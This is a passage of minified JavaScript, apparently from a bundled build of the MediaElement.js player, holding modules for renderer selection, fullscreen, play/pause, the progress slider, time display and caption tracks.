i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}return function(t,n,i){return n&&e(t.prototype,n),i&&e(t,i),t}}(),s=i(e(7)),l=function(){function e(){r(this,e),this.renderers={},this.order=[]}return a(e,[{key:"add",value:function(e){if(e.name===undefined)throw new TypeError("renderer must contain at least `name` property");this.renderers[e.name]=e,this.order.push(e.name)}},{key:"select",value:function(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:[],n=t.length;if(t=t.length?t:this.order,!n){var i=[/^(html5|native)/i,/^flash/i,/iframe$/i],r=function(e){for(var t=0,n=i.length;t<n;t++)if(i[t].test(e))return t;return i.length};t.sort(function(e,t){return r(e)-r(t)})}for(var o=0,a=t.length;o<a;o++){var s=t[o],l=this.renderers[s];if(null!==l&&l!==undefined)for(var c=0,u=e.length;c<u;c++)if("function"==typeof l.canPlayType&&"string"==typeof e[c].type&&l.canPlayType(e[c].type))return{rendererName:l.name,src:e[c].src}}return null}},{key:"order",set:function(e){if(!Array.isArray(e))throw new TypeError("order must be an array of strings.");this._order=e},get:function(){return this._order}},{key:"renderers",set:function(e){if(null!==e&&"object"!==(void 0===e?"undefined":o(e)))throw new TypeError("renderers must be an array of objects.");this._renderers=e},get:function(){return this._renderers}}]),e}(),c=n.renderer=new l;s["default"].Renderers=c},{7:7}],9:[function(e){"use strict";function t(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t["default"]=e,t}function n(e){return e&&e.__esModule?e:{"default":e}}var i=n(e(3)),r=n(e(2)),o=n(e(5)),a=e(16),s=n(a),l=t(e(25)),c=e(27),u=e(26),d=e(28);Object.assign(a.config,{usePluginFullScreen:!0,fullscreenText:null,useFakeFullscreen:!1}),Object.assign(s["default"].prototype,{isFullScreen:!1,isNativeFullScreen:!1,isInIframe:!1,isPluginClickThroughCreated:!1,fullscreenMode:"",containerSizeTimeout:null,buildfullscreen:function(e){if(e.isVideo){e.isInIframe=i["default"].location!==i["default"].parent.location,e.detectFullscreenMode();var t=this,n=(0,c.isString)(t.options.fullscreenText)?t.options.fullscreenText:o["default"].t("mejs.fullscreen"),a=r["default"].createElement("div");if(a.className=t.options.classPrefix+"button "+t.options.classPrefix+"fullscreen-button",a.innerHTML='<button type="button" aria-controls="'+t.id+'" title="'+n+'" aria-label="'+n+'" tabindex="0"></button>',t.addControlElement(a,"fullscreen"),a.addEventListener("click",function(){l.HAS_TRUE_NATIVE_FULLSCREEN&&l.IS_FULLSCREEN||e.isFullScreen?e.exitFullScreen():e.enterFullScreen()}),e.fullscreenBtn=a,t.exitFullscreenCallback=function(n){27===(n.which||n.keyCode||0)&&(l.HAS_TRUE_NATIVE_FULLSCREEN&&l.IS_FULLSCREEN||t.isFullScreen)&&e.exitFullScreen()},t.globalBind("keydown",t.exitFullscreenCallback),t.normalHeight=0,t.normalWidth=0,l.HAS_TRUE_NATIVE_FULLSCREEN){var s=function(){e.isFullScreen&&(l.isFullScreen()?(e.isNativeFullScreen=!0,e.setControlsSize()):(e.isNativeFullScreen=!1,e.exitFullScreen()))};e.globalBind(l.FULLSCREEN_EVENT_NAME,s)}}},cleanfullscreen:function(e){e.exitFullScreen(),e.globalUnbind("keydown",e.exitFullscreenCallback)},detectFullscreenMode:function(){var e=this,t=null!==e.media.rendererName&&/(native|html5)/i.test(e.media.rendererName),n="";return l.HAS_TRUE_NATIVE_FULLSCREEN&&t?n="native-native":l.HAS_TRUE_NATIVE_FULLSCREEN&&!t?n="plugin-native":e.usePluginFullScreen&&l.SUPPORT_POINTER_EVENTS&&(n="plugin-click"),e.fullscreenMode=n,n},enterFullScreen:function(){var e=this,t=null!==e.media.rendererName&&/(html5|native)/i.test(e.media.rendererName),n=getComputedStyle(e.container);if(!1===e.options.useFakeFullscreen&&l.IS_IOS&&l.HAS_IOS_FULLSCREEN&&"function"==typeof e.media.originalNode.webkitEnterFullscreen&&e.media.originalNode.canPlayType((0,d.getTypeFromFile)(e.media.getSrc())))e.media.originalNode.webkitEnterFullscreen();else{if((0,u.addClass)(r["default"].documentElement,e.options.classPrefix+"fullscreen"),(0,u.addClass)(e.container,e.options.classPrefix+"container-fullscreen"),e.normalHeight=parseFloat(n.height),e.normalWidth=parseFloat(n.width),"native-native"!==e.fullscreenMode&&"plugin-native"!==e.fullscreenMode||(l.requestFullScreen(e.container),e.isInIframe&&setTimeout(function d(){if(e.isNativeFullScreen){var t=.002,n=i["default"].innerWidth||r["default"].documentElement.clientWidth||r["default"].body.clientWidth,o=screen.width;Math.abs(o-n)>o*t?e.exitFullScreen():setTimeout(d,500)}},1e3)),e.container.style.width="100%",e.container.style.height="100%",e.containerSizeTimeout=setTimeout(function(){e.container.style.width="100%",e.container.style.height="100%",e.setControlsSize()},500),t)e.node.style.width="100%",e.node.style.height="100%";else for(var o=e.container.querySelectorAll("embed, object, video"),a=o.length,s=0;s<a;s++)o[s].style.width="100%",o[s].style.height="100%";e.options.setDimensions&&"function"==typeof e.media.setSize&&e.media.setSize(screen.width,screen.height);for(var f=e.layers.children,p=f.length,h=0;h<p;h++)f[h].style.width="100%",f[h].style.height="100%";e.fullscreenBtn&&((0,u.removeClass)(e.fullscreenBtn,e.options.classPrefix+"fullscreen"),(0,u.addClass)(e.fullscreenBtn,e.options.classPrefix+"unfullscreen")),e.setControlsSize(),e.isFullScreen=!0;var m=Math.min(screen.width/e.width,screen.height/e.height),g=e.container.querySelector("."+e.options.classPrefix+"captions-text");g&&(g.style.fontSize=100*m+"%",g.style.lineHeight="normal",e.container.querySelector("."+e.options.classPrefix+"captions-position").style.bottom="45px");var y=(0,c.createEvent)("enteredfullscreen",e.container);e.container.dispatchEvent(y)}},exitFullScreen:function(){var e=this,t=null!==e.media.rendererName&&/(native|html5)/i.test(e.media.rendererName);if(clearTimeout(e.containerSizeTimeout),l.HAS_TRUE_NATIVE_FULLSCREEN&&(l.IS_FULLSCREEN||e.isFullScreen)&&l.cancelFullScreen(),(0,u.removeClass)(r["default"].documentElement,e.options.classPrefix+"fullscreen"),(0,u.removeClass)(e.container,e.options.classPrefix+"container-fullscreen"),e.options.setDimensions){if(e.container.style.width=e.normalWidth+"px",e.container.style.height=e.normalHeight+"px",t)e.node.style.width=e.normalWidth+"px",e.node.style.height=e.normalHeight+"px";else for(var n=e.container.querySelectorAll("embed, object, video"),i=n.length,o=0;o<i;o++)n[o].style.width=e.normalWidth+"px",n[o].style.height=e.normalHeight+"px";"function"==typeof e.media.setSize&&e.media.setSize(e.normalWidth,e.normalHeight);for(var a=e.layers.children,s=a.length,d=0;d<s;d++)a[d].style.width=e.normalWidth+"px",a[d].style.height=e.normalHeight+"px"}e.fullscreenBtn&&((0,u.removeClass)(e.fullscreenBtn,e.options.classPrefix+"unfullscreen"),(0,u.addClass)(e.fullscreenBtn,e.options.classPrefix+"fullscreen")),e.setControlsSize(),e.isFullScreen=!1;var f=e.container.querySelector("."+e.options.classPrefix+"captions-text");f&&(f.style.fontSize="",f.style.lineHeight="",e.container.querySelector("."+e.options.classPrefix+"captions-position").style.bottom="");var p=(0,c.createEvent)("exitedfullscreen",e.container);e.container.dispatchEvent(p)}})},{16:16,2:2,25:25,26:26,27:27,28:28,3:3,5:5}],10:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n=t(e(2)),i=e(16),r=t(i),o=t(e(5)),a=e(27),s=e(26);Object.assign(i.config,{playText:null,pauseText:null}),Object.assign(r["default"].prototype,{buildplaypause:function(e,t,i,r){function l(e){"play"===e?((0,s.removeClass)(p,c.options.classPrefix+"play"),(0,s.removeClass)(p,c.options.classPrefix+"replay"),(0,s.addClass)(p,c.options.classPrefix+"pause"),h.setAttribute("title",f),h.setAttribute("aria-label",f)):((0,s.removeClass)(p,c.options.classPrefix+"pause"),(0,s.removeClass)(p,c.options.classPrefix+"replay"),(0,s.addClass)(p,c.options.classPrefix+"play"),h.setAttribute("title",d),h.setAttribute("aria-label",d))}var c=this,u=c.options,d=(0,a.isString)(u.playText)?u.playText:o["default"].t("mejs.play"),f=(0,a.isString)(u.pauseText)?u.pauseText:o["default"].t("mejs.pause"),p=n["default"].createElement("div");p.className=c.options.classPrefix+"button "+c.options.classPrefix+"playpause-button "+c.options.classPrefix+"play",p.innerHTML='<button type="button" aria-controls="'+c.id+'" title="'+d+'" aria-label="'+f+'" tabindex="0"></button>',p.addEventListener("click",function(){c.paused?c.play():c.pause()});var h=p.querySelector("button");c.addControlElement(p,"playpause"),l("pse"),r.addEventListener("loadedmetadata",function(){-1===r.rendererName.indexOf("flash")&&l("pse")}),r.addEventListener("play",function(){l("play")}),r.addEventListener("playing",function(){l("play")}),r.addEventListener("pause",function(){l("pse")}),r.addEventListener("ended",function(){e.options.loop||((0,s.removeClass)(p,c.options.classPrefix+"pause"),(0,s.removeClass)(p,c.options.classPrefix+"play"),(0,s.addClass)(p,c.options.classPrefix+"replay"),h.setAttribute("title",d),h.setAttribute("aria-label",d))})}})},{16:16,2:2,26:26,27:27,5:5}],11:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n=t(e(2)),i=e(16),r=t(i),o=t(e(5)),a=e(25),s=e(30),l=e(26);Object.assign(i.config,{enableProgressTooltip:!0,useSmoothHover:!0,forceLive:!1}),Object.assign(r["default"].prototype,{buildprogress:function(e,t,i,r){var c=0,u=!1,d=!1,f=this,p=e.options.autoRewind,h=e.options.enableProgressTooltip?'<span class="'+f.options.classPrefix+'time-float"><span class="'+f.options.classPrefix+'time-float-current">00:00</span><span class="'+f.options.classPrefix+'time-float-corner"></span></span>':"",m=n["default"].createElement("div");m.className=f.options.classPrefix+"time-rail",m.innerHTML='<span class="'+f.options.classPrefix+"time-total "+f.options.classPrefix+'time-slider"><span class="'+f.options.classPrefix+'time-buffering"></span><span class="'+f.options.classPrefix+'time-loaded"></span><span class="'+f.options.classPrefix+'time-current"></span><span class="'+f.options.classPrefix+'time-hovered no-hover"></span><span class="'+f.options.classPrefix+'time-handle"><span class="'+f.options.classPrefix+'time-handle-content"></span></span>'+h+"</span>",f.addControlElement(m,"progress"),t.querySelector("."+f.options.classPrefix+"time-buffering").style.display="none",f.rail=t.querySelector("."+f.options.classPrefix+"time-rail"),f.total=t.querySelector("."+f.options.classPrefix+"time-total"),f.loaded=t.querySelector("."+f.options.classPrefix+"time-loaded"),f.current=t.querySelector("."+f.options.classPrefix+"time-current"),f.handle=t.querySelector("."+f.options.classPrefix+"time-handle"), f.timefloat=t.querySelector("."+f.options.classPrefix+"time-float"),f.timefloatcurrent=t.querySelector("."+f.options.classPrefix+"time-float-current"),f.slider=t.querySelector("."+f.options.classPrefix+"time-slider"),f.hovered=t.querySelector("."+f.options.classPrefix+"time-hovered"),f.newTime=0,f.forcedHandlePause=!1,f.setTransformStyle=function(e,t){e.style.transform=t,e.style.webkitTransform=t,e.style.MozTransform=t,e.style.msTransform=t,e.style.OTransform=t};var g=function(t){var n=getComputedStyle(f.total),i=(0,l.offset)(f.total),r=f.total.offsetWidth,o=n.webkitTransform!==undefined?"webkitTransform":n.mozTransform!==undefined?"mozTransform ":n.oTransform!==undefined?"oTransform":n.msTransform!==undefined?"msTransform":"transform",c="WebKitCSSMatrix"in window?"WebKitCSSMatrix":"MSCSSMatrix"in window?"MSCSSMatrix":"CSSMatrix"in window?"CSSMatrix":void 0,d=0,p=0,h=0,m=void 0;if(m=t.originalEvent&&t.originalEvent.changedTouches?t.originalEvent.changedTouches[0].pageX:t.changedTouches?t.changedTouches[0].pageX:t.pageX,f.getDuration()){if(m<i.left?m=i.left:m>r+i.left&&(m=r+i.left),d=(h=m-i.left)/r,f.newTime=d<=.02?0:d*f.getDuration(),u&&null!==f.getCurrentTime()&&f.newTime.toFixed(4)!==f.getCurrentTime().toFixed(4)&&(f.setCurrentRailHandle(f.newTime),f.updateCurrent(f.newTime)),!a.IS_IOS&&!a.IS_ANDROID&&f.timefloat){if(h<0&&(h=0),f.options.useSmoothHover&&null!==c&&"undefined"!=typeof window[c]){var g=new window[c](getComputedStyle(f.handle)[o]).m41,y=h/parseFloat(getComputedStyle(f.total).width)-g/parseFloat(getComputedStyle(f.total).width);f.hovered.style.left=g+"px",f.setTransformStyle(f.hovered,"scaleX("+y+")"),f.hovered.setAttribute("pos",h),y>=0?(0,l.removeClass)(f.hovered,"negative"):(0,l.addClass)(f.hovered,"negative")}var v=f.timefloat.offsetWidth/2;p=m<=f.timefloat.offsetWidth+v?v:m>=f.container.offsetWidth-v?f.total.offsetWidth-v:h,f.timefloat.style.left=p+"px",f.timefloatcurrent.innerHTML=(0,s.secondsToTimeCode)(f.newTime,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength),f.timefloat.style.display="block"}}else a.IS_IOS||a.IS_ANDROID||!f.timefloat||(p=f.timefloat.offsetWidth+r>=f.container.offsetWidth?f.timefloat.offsetWidth/2:0,f.timefloat.style.left=p+"px",f.timefloat.style.left=p+"px",f.timefloat.style.display="block")},y=function(){var t=f.getCurrentTime(),n=o["default"].t("mejs.time-slider"),i=(0,s.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength),a=f.getDuration();f.slider.setAttribute("role","slider"),f.slider.tabIndex=0,r.paused?(f.slider.setAttribute("aria-label",n),f.slider.setAttribute("aria-valuemin",0),f.slider.setAttribute("aria-valuemax",a),f.slider.setAttribute("aria-valuenow",t),f.slider.setAttribute("aria-valuetext",i)):(f.slider.removeAttribute("aria-label"),f.slider.removeAttribute("aria-valuemin"),f.slider.removeAttribute("aria-valuemax"),f.slider.removeAttribute("aria-valuenow"),f.slider.removeAttribute("aria-valuetext"))},v=function(){new Date-c>=1e3&&f.play()},b=function(){u&&null!==f.getCurrentTime()&&f.newTime.toFixed(4)!==f.getCurrentTime().toFixed(4)&&(f.setCurrentTime(f.newTime),f.setCurrentRail(),f.updateCurrent(f.newTime)),f.forcedHandlePause&&(f.slider.focus(),f.play()),f.forcedHandlePause=!1};f.slider.addEventListener("focus",function(){e.options.autoRewind=!1}),f.slider.addEventListener("blur",function(){e.options.autoRewind=p}),f.slider.addEventListener("keydown",function(t){if(new Date-c>=1e3&&(d=f.paused),f.options.keyActions.length){var n=t.which||t.keyCode||0,i=f.getDuration(),o=e.options.defaultSeekForwardInterval(r),s=e.options.defaultSeekBackwardInterval(r),l=f.getCurrentTime();switch(n){case 37:case 40:f.getDuration()!==Infinity&&(l-=s);break;case 39:case 38:f.getDuration()!==Infinity&&(l+=o);break;case 36:l=0;break;case 35:l=i;break;case 32:return void(a.IS_FIREFOX||(f.paused?f.play():f.pause()));case 13:return void(f.paused?f.play():f.pause());default:return}l=l<0?0:l>=i?i:Math.floor(l),c=new Date,d||e.pause(),l<f.getDuration()&&!d&&setTimeout(v,1100),f.setCurrentTime(l),t.preventDefault(),t.stopPropagation()}});var _=["mousedown","touchstart"];f.slider.addEventListener("dragstart",function(){return!1});for(var T=0,w=_.length;T<w;T++)f.slider.addEventListener(_[T],function(e){if(f.forcedHandlePause=!1,f.getDuration()!==Infinity&&(1===e.which||0===e.which)){f.paused||(f.pause(),f.forcedHandlePause=!0),u=!0,g(e);for(var t=["mouseup","touchend"],n=0,i=t.length;n<i;n++)f.container.addEventListener(t[n],function(e){var t=e.target;(t===f.slider||t.closest("."+f.options.classPrefix+"time-slider"))&&g(e)});f.globalBind("mouseup.dur touchend.dur",function(){b(),u=!1,f.timefloat&&(f.timefloat.style.display="none")})}});f.slider.addEventListener("mouseenter",function(e){e.target===f.slider&&f.getDuration()!==Infinity&&(f.container.addEventListener("mousemove",function(e){var t=e.target;(t===f.slider||t.closest("."+f.options.classPrefix+"time-slider"))&&g(e)}),!f.timefloat||a.IS_IOS||a.IS_ANDROID||(f.timefloat.style.display="block"),f.hovered&&!a.IS_IOS&&!a.IS_ANDROID&&f.options.useSmoothHover&&(0,l.removeClass)(f.hovered,"no-hover"))}),f.slider.addEventListener("mouseleave",function(){f.getDuration()!==Infinity&&(u||(f.timefloat&&(f.timefloat.style.display="none"),f.hovered&&f.options.useSmoothHover&&(0,l.addClass)(f.hovered,"no-hover")))}),f.broadcastCallback=function(i){var r=t.querySelector("."+f.options.classPrefix+"broadcast");if(f.options.forceLive||f.getDuration()===Infinity){if(!r||f.options.forceLive){var a=n["default"].createElement("span");a.className=f.options.classPrefix+"broadcast",a.innerText=o["default"].t("mejs.live-broadcast"),f.slider.style.display="none",f.rail.appendChild(a)}}else r&&(f.slider.style.display="",r.remove()),e.setProgressRail(i),f.forcedHandlePause||e.setCurrentRail(i),y()},r.addEventListener("progress",f.broadcastCallback),r.addEventListener("timeupdate",f.broadcastCallback),f.container.addEventListener("controlsresize",function(t){f.getDuration()!==Infinity&&(e.setProgressRail(t),f.forcedHandlePause||e.setCurrentRail(t))})},cleanprogress:function(e,t,n,i){i.removeEventListener("progress",e.broadcastCallback),i.removeEventListener("timeupdate",e.broadcastCallback),e.rail&&e.rail.remove()},setProgressRail:function(e){var t=this,n=e!==undefined?e.detail.target||e.target:t.media,i=null;n&&n.buffered&&n.buffered.length>0&&n.buffered.end&&t.getDuration()?i=n.buffered.end(n.buffered.length-1)/t.getDuration():n&&n.bytesTotal!==undefined&&n.bytesTotal>0&&n.bufferedBytes!==undefined?i=n.bufferedBytes/n.bytesTotal:e&&e.lengthComputable&&0!==e.total&&(i=e.loaded/e.total),null!==i&&(i=Math.min(1,Math.max(0,i)),t.loaded&&t.setTransformStyle(t.loaded,"scaleX("+i+")"))},setCurrentRailHandle:function(e){var t=this;t.setCurrentRailMain(t,e)},setCurrentRail:function(){var e=this;e.setCurrentRailMain(e)},setCurrentRailMain:function(e,t){if(e.getCurrentTime()!==undefined&&e.getDuration()){var n=void 0===t?e.getCurrentTime():t;if(e.total&&e.handle){var i=parseFloat(getComputedStyle(e.total).width),r=Math.round(i*n/e.getDuration()),o=r-Math.round(e.handle.offsetWidth/2);if(o=o<0?0:o,e.setTransformStyle(e.current,"scaleX("+r/i+")"),e.setTransformStyle(e.handle,"translateX("+o+"px)"),e.options.useSmoothHover&&!(0,l.hasClass)(e.hovered,"no-hover")){var a=parseInt(e.hovered.getAttribute("pos")),s=(a=isNaN(a)?0:a)/i-o/i;e.hovered.style.left=o+"px",e.setTransformStyle(e.hovered,"scaleX("+s+")"),s>=0?(0,l.removeClass)(e.hovered,"negative"):(0,l.addClass)(e.hovered,"negative")}}}}})},{16:16,2:2,25:25,26:26,30:30,5:5}],12:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n=t(e(2)),i=e(16),r=t(i),o=e(30),a=e(26);Object.assign(i.config,{duration:0,timeAndDurationSeparator:"<span> | </span>"}),Object.assign(r["default"].prototype,{buildcurrent:function(e,t,i,r){var a=this,s=n["default"].createElement("div");s.className=a.options.classPrefix+"time",s.setAttribute("role","timer"),s.setAttribute("aria-live","off"),s.innerHTML='<span class="'+a.options.classPrefix+'currenttime">'+(0,o.secondsToTimeCode)(0,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength)+"</span>",a.addControlElement(s,"current"),a.updateTimeCallback=function(){a.controlsAreVisible&&e.updateCurrent()},r.addEventListener("timeupdate",a.updateTimeCallback)},cleancurrent:function(e,t,n,i){i.removeEventListener("timeupdate",e.updateTimeCallback)},buildduration:function(e,t,i,r){var s=this;if(t.lastChild.querySelector("."+s.options.classPrefix+"currenttime"))t.querySelector("."+s.options.classPrefix+"time").innerHTML+=s.options.timeAndDurationSeparator+'<span class="'+s.options.classPrefix+'duration">'+(0,o.secondsToTimeCode)(s.options.duration,s.options.alwaysShowHours,s.options.showTimecodeFrameCount,s.options.framesPerSecond,s.options.secondsDecimalLength)+"</span>";else{t.querySelector("."+s.options.classPrefix+"currenttime")&&(0,a.addClass)(t.querySelector("."+s.options.classPrefix+"currenttime").parentNode,s.options.classPrefix+"currenttime-container");var l=n["default"].createElement("div");l.className=s.options.classPrefix+"time "+s.options.classPrefix+"duration-container",l.innerHTML='<span class="'+s.options.classPrefix+'duration">'+(0,o.secondsToTimeCode)(s.options.duration,s.options.alwaysShowHours,s.options.showTimecodeFrameCount,s.options.framesPerSecond,s.options.secondsDecimalLength)+"</span>",s.addControlElement(l,"duration")}r.addEventListener("timeupdate",s.updateTimeCallback)},cleanduration:function(e,t,n,i){i.removeEventListener("timeupdate",e.updateTimeCallback)},updateCurrent:function(){var e=this,t=e.getCurrentTime();isNaN(t)&&(t=0);var n=(0,o.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength);n.length>5?(0,a.addClass)(e.container,e.options.classPrefix+"long-video"):(0,a.removeClass)(e.container,e.options.classPrefix+"long-video"),e.controls.querySelector("."+e.options.classPrefix+"currenttime")&&(e.controls.querySelector("."+e.options.classPrefix+"currenttime").innerText=n)},updateDuration:function(){var e=this,t=e.getDuration();(isNaN(t)||t===Infinity||t<0)&&(e.media.duration=e.options.duration=t=0),e.options.duration>0&&(t=e.options.duration);var n=(0,o.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength);n.length>5?(0,a.addClass)(e.container,e.options.classPrefix+"long-video"):(0,a.removeClass)(e.container,e.options.classPrefix+"long-video"),e.controls.querySelector("."+e.options.classPrefix+"duration")&&t>0&&(e.controls.querySelector("."+e.options.classPrefix+"duration").innerHTML=n)}})},{16:16,2:2,26:26,30:30}],13:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n=t(e(2)),i=t(e(7)),r=t(e(5)),o=e(16),a=t(o),s=e(30),l=e(27),c=e(26);Object.assign(o.config,{startLanguage:"",tracksText:null,chaptersText:null,tracksAriaLive:!1,hideCaptionsButtonWhenEmpty:!0,toggleCaptionsButtonWhenOnlyOne:!1,slidesSelector:""}),Object.assign(a["default"].prototype,{hasChapters:!1,buildtracks:function(e,t,i,o){if(e.tracks.length||e.trackFiles&&0!==!e.trackFiles.length){var a=this,s=a.options.tracksAriaLive?' role="log" aria-live="assertive" aria-atomic="false"':"",u=(0,l.isString)(a.options.tracksText)?a.options.tracksText:r["default"].t("mejs.captions-subtitles"),d=(0,l.isString)(a.options.chaptersText)?a.options.chaptersText:r["default"].t("mejs.captions-chapters"),f=null===e.trackFiles?e.tracks.length:e.trackFiles.length;if(a.domNode.textTracks)for(var p=a.domNode.textTracks.length-1;p>=0;p--)a.domNode.textTracks[p].mode="hidden";a.cleartracks(e),e.captions=n["default"].createElement("div"),e.captions.className=a.options.classPrefix+"captions-layer "+a.options.classPrefix+"layer",e.captions.innerHTML='<div class="'+a.options.classPrefix+"captions-position "+a.options.classPrefix+'captions-position-hover"'+s+'><span class="'+a.options.classPrefix+'captions-text"></span></div>',e.captions.style.display="none",i.insertBefore(e.captions,i.firstChild),e.captionsText=e.captions.querySelector("."+a.options.classPrefix+"captions-text"),e.captionsButton=n["default"].createElement("div"),e.captionsButton.className=a.options.classPrefix+"button "+a.options.classPrefix+"captions-button",e.captionsButton.innerHTML='<button type="button" aria-controls="'+a.id+'" title="'+u+'" aria-label="'+u+'" tabindex="0"></button><div class="'+a.options.classPrefix+"captions-selector "+a.options.classPrefix+'offscreen"><ul class="'+a.options.classPrefix+'captions-selector-list"><li class="'+a.options.classPrefix+'captions-selector-list-item"><input type="radio" class="'+a.options.classPrefix+'captions-selector-input" name="'+e.id+'_captions" id="'+e.id+'_captions_none" value="none" checked disabled><label class="'+a.options.classPrefix+"captions-selector-label "+a.options.classPrefix+'captions-selected" for="'+e.id+'_captions_none">'+r["default"].t("mejs.none")+"</label></li></ul></div>",a.addControlElement(e.captionsButton,"tracks"),e.captionsButton.querySelector("."+a.options.classPrefix+"captions-selector-input").disabled=!1,e.chaptersButton=n["default"].createElement("div"),e.chaptersButton.className=a.options.classPrefix+"button "+a.options.classPrefix+"chapters-button",e.chaptersButton.innerHTML='<button type="button" aria-controls="'+a.id+'" title="'+d+'" aria-label="'+d+'" tabindex="0"></button><div class="'+a.options.classPrefix+"chapters-selector "+a.options.classPrefix+'offscreen"><ul class="'+a.options.classPrefix+'chapters-selector-list"></ul></div>';for(var h=0,m=0;m<f;m++){var g=e.tracks[m].kind;e.tracks[m].src.trim()&&("subtitles"===g||"captions"===g?h++:"chapters"!==g||t.querySelector("."+a.options.classPrefix+"chapter-selector")||e.captionsButton.parentNode.insertBefore(e.chaptersButton,e.captionsButton))}e.trackToLoad=-1,e.selectedTrack=null,e.isLoadingTrack=!1;for(var y=0;y<f;y++){var v=e.tracks[y].kind;!e.tracks[y].src.trim()||"subtitles"!==v&&"captions"!==v||e.addTrackButton(e.tracks[y].trackId,e.tracks[y].srclang,e.tracks[y].label)}e.loadNextTrack();var b=["mouseenter","focusin"],_=["mouseleave","focusout"];if(a.options.toggleCaptionsButtonWhenOnlyOne&&1===h)e.captionsButton.addEventListener("click",function(){var t="none";null===e.selectedTrack&&(t=e.tracks[0].trackId),e.setTrack(t)});else{for(var T=e.captionsButton.querySelectorAll("."+a.options.classPrefix+"captions-selector-label"),w=e.captionsButton.querySelectorAll("input[type=radio]"),S=0,k=b.length;S<k;S++)e.captionsButton.addEventListener(b[S],function(){(0,c.removeClass)(this.querySelector("."+a.options.classPrefix+"captions-selector"),a.options.classPrefix+"offscreen")});for(var C=0,x=_.length;C<x;C++)e.captionsButton.addEventListener(_[C],function(){(0,c.addClass)(this.querySelector("."+a.options.classPrefix+"captions-selector"),a.options.classPrefix+"offscreen")});for(var E=0,$=w.length;E<$;E++)w[E].addEventListener("click",function(){e.setTrack(this.value)});for(var A=0,M=T.length;A<M;A++)T[A].addEventListener("click",function(){var e=(0,c.siblings)(this,function(e){return"INPUT"===e.tagName})[0],t=(0,l.createEvent)("click",e);e.dispatchEvent(t)});e.captionsButton.addEventListener("keydown",function(e){e.stopPropagation()})}for(var P=0,D=b.length;P<D;P++)e.chaptersButton.addEventListener(b[P],function(){this.querySelector("."+a.options.classPrefix+"chapters-selector-list").children.length&&(0,c.removeClass)(this.querySelector("."+a.options.classPrefix+"chapters-selector"),a.options.classPrefix+"offscreen")});for(var F=0,L=_.length;F<L;F++)e.chaptersButton.addEventListener(_[F],function(){(0,c.addClass)(this.querySelector("."+a.options.classPrefix+"chapters-selector"),a.options.classPrefix+"offscreen")});e.chaptersButton.addEventListener("keydown",function(e){e.stopPropagation()}),e.options.alwaysShowControls?(0,c.addClass)(e.container.querySelector("."+a.options.classPrefix+"captions-position"),a.options.classPrefix+"captions-position-hover"):(e.container.addEventListener("controlsshown",function(){(0,c.addClass)(e.container.querySelector("."+a.options.classPrefix+"captions-position"),a.options.classPrefix+"captions-position-hover")}),e.container.addEventListener("controlshidden",function(){o.paused||(0,c.removeClass)(e.container.querySelector("."+a.options.classPrefix+"captions-position"),a.options.classPrefix+"captions-position-hover")})),o.addEventListener("timeupdate",function(){e.displayCaptions()}),""!==e.options.slidesSelector&&(e.slidesContainer=n["default"].querySelectorAll(e.options.slidesSelector),o.addEventListener("timeupdate",function(){e.displaySlides()}))}},cleartracks:function(e){e&&(e.captions&&e.captions.remove(),e.chapters&&e.chapters.remove(),e.captionsText&&e.captionsText.remove(),e.captionsButton&&e.captionsButton.remove(),e.chaptersButton&&e.chaptersButton.remove())},rebuildtracks:function(){var e=this;e.findTracks(),e.buildtracks(e,e.controls,e.layers,e.media)},findTracks:function(){var e=this,t=null===e.trackFiles?e.node.querySelectorAll("track"):e.trackFiles,n=t.length;e.tracks=[];for(var i=0;i<n;i++){var r=t[i],o=r.getAttribute("srclang").toLowerCase()||"",a=e.id+"_track_"+i+"_"+r.getAttribute("kind")+"_"+o;e.tracks.push({trackId:a,srclang:o,src:r.getAttribute("src"),kind:r.getAttribute("kind"),label:r.getAttribute("label")||"",entries:[],isLoaded:!1})}},setTrack:function(e){for(var t=this,n=t.captionsButton.querySelectorAll('input[type="radio"]'),i=t.captionsButton.querySelectorAll("."+t.options.classPrefix+"captions-selected"),r=t.captionsButton.querySelector('input[value="'+e+'"]'),o=0,a=n.length;o<a;o++)n[o].checked=!1;for(var s=0,u=i.length;s<u;s++)(0,c.removeClass)(i[s],t.options.classPrefix+"captions-selected");r.checked=!0;for(var d=(0,c.siblings)(r,function(e){return(0,c.hasClass)(e,t.options.classPrefix+"captions-selector-label")}),f=0,p=d.length;f<p;f++)(0,c.addClass)(d[f],t.options.classPrefix+"captions-selected");if("none"===e)t.selectedTrack=null,(0,c.removeClass)(t.captionsButton,t.options.classPrefix+"captions-enabled");else for(var h=0,m=t.tracks.length;h<m;h++){var g=t.tracks[h];if(g.trackId===e){null===t.selectedTrack&&(0,c.addClass)(t.captionsButton,t.options.classPrefix+"captions-enabled"),t.selectedTrack=g,t.captions.setAttribute("lang",t.selectedTrack.srclang),t.displayCaptions();break}}var y=(0,l.createEvent)("captionschange",t.media);y.detail.caption=t.selectedTrack,t.media.dispatchEvent(y)},loadNextTrack:function(){var e=this;e.trackToLoad++,e.trackToLoad<e.tracks.length?(e.isLoadingTrack=!0,e.loadTrack(e.trackToLoad)):(e.isLoadingTrack=!1,e.checkForTracks())},loadTrack:function(e){var t=this,n=t.tracks[e];n===undefined||n.src===undefined&&""===n.src||(0,c.ajax)(n.src,"text",function(e){n.entries="string"==typeof 